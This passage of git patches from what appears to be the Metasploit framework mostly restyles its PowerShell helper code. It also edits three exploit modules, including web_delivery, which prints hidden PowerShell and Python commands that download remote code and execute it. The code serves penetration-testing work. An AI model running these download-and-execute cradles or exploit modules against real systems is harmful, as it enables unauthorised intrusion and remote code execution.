+        # @param str [String] string to match in code
+        # @param source [String] source code to match, defaults to @code
+        #
+        # @return [Array[String,Integer]] matched items with index
+        def scan_with_index(str, source = code)
+          ::Enumerator.new do |y|
+            source.scan(str) do
+              y << ::Regexp.last_match
+            end
+          end.map { |m| [m.to_s, m.offset(0)[0]] }
+        end
 
-      start = code[idx]
-      stop = match_start(start)
-      delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/,code[idx+1..-1])
-      delims.map {|x| x[1] = x[1] + idx + 1}
-      c = 1
-      sidx = nil
-      # Go through delims till we balance, get idx
-      while ((c != 0) && (x = delims.shift)) do
-        sidx = x[1]
-        x[0] == stop ? c -=1 : c+=1
-      end
+        #
+        # Return matching bracket type
+        #
+        # @param char [String] opening bracket character
+        #
+        # @return [String] matching closing bracket
+        def match_start(char)
+          case char
+          when '{'
+            '}'
+          when '('
+            ')'
+          when '['
+            ']'
+          when '<'
+            '>'
+          else
+            fail ArgumentError, 'Unknown starting bracket'
+          end
+        end
 
-      code[idx..sidx]
-    end
+        #
+        # Extract block of code inside brackets/parenthesis
+        #
+        # Attempts to match the bracket at idx, handling nesting manually
+        # Once the balanced matching bracket is found, all script content
+        # between idx and the index of the matching bracket is returned
+        #
+        # @param idx [Integer] index of opening bracket
+        #
+        # @return [String] content between matching brackets
+        def block_extract(idx)
+          fail ArgumentError unless idx
+
+          if idx < 0 || idx >= code.length
+            fail ArgumentError, 'Invalid index'
+          end
+
+          start = code[idx]
+          stop = match_start(start)
+          delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
+          delims.map { |x| x[1] = x[1] + idx + 1 }
+          c = 1
+          sidx = nil
+          # Go through delims till we balance, get idx
+          while (c != 0) && (x = delims.shift)
+            sidx = x[1]
+            x[0] == stop ? c -= 1 : c += 1
+          end
+
+          code[idx..sidx]
+        end
 
-    #
-    # Extract a block of function code
-    #
-    # @param func_name [String] function name
-    # @param delete [Boolean] delete the function from the code
-    #
-    # @return [String] function block
-    def get_func(func_name, delete = false)
-      start = code.index(func_name)
+        #
+        # Extract a block of function code
+        #
+        # @param func_name [String] function name
+        # @param delete [Boolean] delete the function from the code
+        #
+        # @return [String] function block
+        def get_func(func_name, delete = false)
+          start = code.index(func_name)
 
-      return nil unless start
+          return nil unless start
 
-      idx = code[start..-1].index('{') + start
-      func_txt = block_extract(idx)
+          idx = code[start..-1].index('{') + start
+          func_txt = block_extract(idx)
 
-      if delete
-        delete_code = code[0..idx]
-        delete_code << code[(idx+func_txt.length)..-1]
-        @code = delete_code
-      end
+          if delete
+            delete_code = code[0..idx]
+            delete_code << code[(idx + func_txt.length)..-1]
+            @code = delete_code
+          end
 
-      Function.new(func_name,func_txt)
+          Function.new(func_name, func_txt)
+        end
+      end # Parser
     end
-  end # Parser
-
-end
+  end
 end
-end
-
diff --git a/lib/rex/exploitation/powershell/psh_methods.rb b/lib/rex/exploitation/powershell/psh_methods.rb
index d85a739846f0..d53fde9d4872 100644
--- a/lib/rex/exploitation/powershell/psh_methods.rb
+++ b/lib/rex/exploitation/powershell/psh_methods.rb
@@ -2,15 +2,12 @@
 
 module Rex
 module Exploitation
-
 module Powershell
-
   ##
   # Convenience methods for generating powershell code in Ruby
   ##
 
   module PshMethods
-
     #
     # Download file via .NET WebClient
     #
@@ -20,7 +17,7 @@ module PshMethods
     # @return [String] Powershell code to download a file
     def self.download(src, target)
       target ||= '$pwd\\' << src.split('/').last
-      return %Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
+      %Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
     end
 
     #
@@ -31,9 +28,9 @@ def self.download(src, target)
     #   the application name
     #
     # @return [String] Powershell code to uninstall an application
-    def self.uninstall(app,fuzzy=true)
+    def self.uninstall(app, fuzzy = true)
       match = fuzzy ? '-like' : '-eq'
-      return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
+      %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
     end
 
     #
@@ -43,7 +40,7 @@ def self.uninstall(app,fuzzy=true)
     #
     # @return [String] Powershell code to create a SecureString
     def self.secure_string(str)
-      return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
+      %Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$)
     end
 
     #
@@ -54,7 +51,7 @@ def self.secure_string(str)
     # @return [String] Powershell code to identify the PID of a file
     #   lock owner
     def self.who_locked_file(filename)
-      return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
+      %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
     end
 
     #
@@ -65,11 +62,9 @@ def self.who_locked_file(filename)
     # @return [String] Powershell code to return the last time of a user
     #   login
     def self.get_last_login(user)
-      return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
+      %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
     end
   end
-
 end
 end
 end
-
diff --git a/lib/rex/exploitation/powershell/script.rb b/lib/rex/exploitation/powershell/script.rb
index 3b3643dfd4b0..0892b6b676ec 100644
--- a/lib/rex/exploitation/powershell/script.rb
+++ b/lib/rex/exploitation/powershell/script.rb
@@ -4,9 +4,7 @@
 
 module Rex
 module Exploitation
-
 module Powershell
-
   class Script
     attr_accessor :code
     attr_reader :functions, :rig
@@ -17,9 +15,9 @@ class Script
     # Pretend we are actually a string
     extend Forwardable
     # In case someone messes with String we delegate based on its instance methods
-    #eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
+    # eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
     def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
-                   :!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub,:dump, :match, :to_sym,
+                   :!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym,
                    :enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!,
                    :encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
                    :each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
@@ -29,13 +27,13 @@ class Script
                    :<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition,
                    :between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===,
                    :tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice,
-                   :initialize_clone, :to_str, :to_enum,:tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
+                   :initialize_clone, :to_str, :to_enum, :tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
                    :[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
                    :end_with?
 
     def initialize(code)
       @code = ''
-      @rig = Rex::RandomIdentifierGenerator.new()
+      @rig = Rex::RandomIdentifierGenerator.new
 
       begin
         # Open code file for reading
@@ -50,10 +48,9 @@ def initialize(code)
         # Treat code as a... code
         @code = code.to_s.dup # in case we're eating another script
       end
-      @functions = get_func_names.map {|f| get_func(f)}
+      @functions = get_func_names.map { |f| get_func(f) }
     end
 
-
     ##
     # Class methods
     ##
@@ -66,7 +63,7 @@ def initialize(code)
     # @param var_name [String] Byte array variable name
     #
     # @return [String] input_data as a powershell byte array
-    def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
+    def self.to_byte_array(input_data, var_name = Rex::Text.rand_text_alpha(rand(3) + 3))
       # File will raise an exception if the path contains null byte
       if input_data.include? "\x00"
         code = input_data
@@ -77,15 +74,15 @@ def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3
       code = code.unpack('C*')
       psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
       lines = []
-      1.upto(code.length-1) do |byte|
-        if(byte % 10 == 0)
+      1.upto(code.length - 1) do |byte|
+        if (byte % 10 == 0)
           lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
         else
           lines.push ",0x#{code[byte].to_s(16)}"
         end
       end
 
-      return psh << lines.join("") + "\r\n"
+      psh << lines.join('') + "\r\n"
     end
 
     #
@@ -93,11 +90,9 @@ def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3
     #
     # @return [Array] Code modifiers
     def self.code_modifiers
-      self.instance_methods.select {|m| m =~ /^(strip|sub)/}
+      instance_methods.select { |m| m =~ /^(strip|sub)/ }
     end
   end # class Script
-
 end
 end
 end
-

From b0a596b4a1f6e01efc8e94000c701caf8c74b17f Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 20 Jul 2014 21:59:10 +0100
Subject: [PATCH 108/108] Update newer modules

---
 modules/exploits/multi/script/web_delivery.rb            | 6 +++++-
 .../windows/local/ms13_097_ie_registry_symlink.rb        | 9 ++++++++-
 modules/exploits/windows/local/ms14_009_ie_dfsvc.rb      | 9 ++++++++-
 3 files changed, 21 insertions(+), 3 deletions(-)

diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb
index 5a94b56a6e61..7f8f731d917a 100644
--- a/modules/exploits/multi/script/web_delivery.rb
+++ b/modules/exploits/multi/script/web_delivery.rb
@@ -87,7 +87,11 @@ def primer
       print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
     when "PSH_x86", "PSH_x64"
       download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
-      print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
+      print_line generate_psh_command_line({
+                                     :noprofile => true,
+                                     :windowstyle => 'hidden',
+                                     :command => download_and_run
+                                 })
     end
   end
 end
diff --git a/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb b/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb
index 1cf3a6204c03..d97db170ce8e 100644
--- a/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb
+++ b/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb
@@ -79,7 +79,14 @@ def exploit
   end
 
   def primer
-    cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
+    cmd = cmd_psh_payload(payload.encoded,
+                          payload_instance.arch.first,
+                          {
+                            :remove_comspec => true
+                          }
+                         )
+
+    cmd.gsub!('powershell.exe ','')
     session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd)
 
     html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html"
diff --git a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb
index 89b2bf9e3204..4fc5101b5960 100644
--- a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb
+++ b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb
@@ -148,7 +148,14 @@ def exploit
 
     print_good(".NET looks vulnerable, exploiting...")
 
-    cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
+    cmd = cmd_psh_payload(payload.encoded,
+                          payload_instance.arch.first,
+                          {
+                            :remove_comspec => true
+                          }
+                         )
+
+    cmd.gsub!('powershell.exe ','')
     session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", cmd)
 
     temp = get_env('TEMP')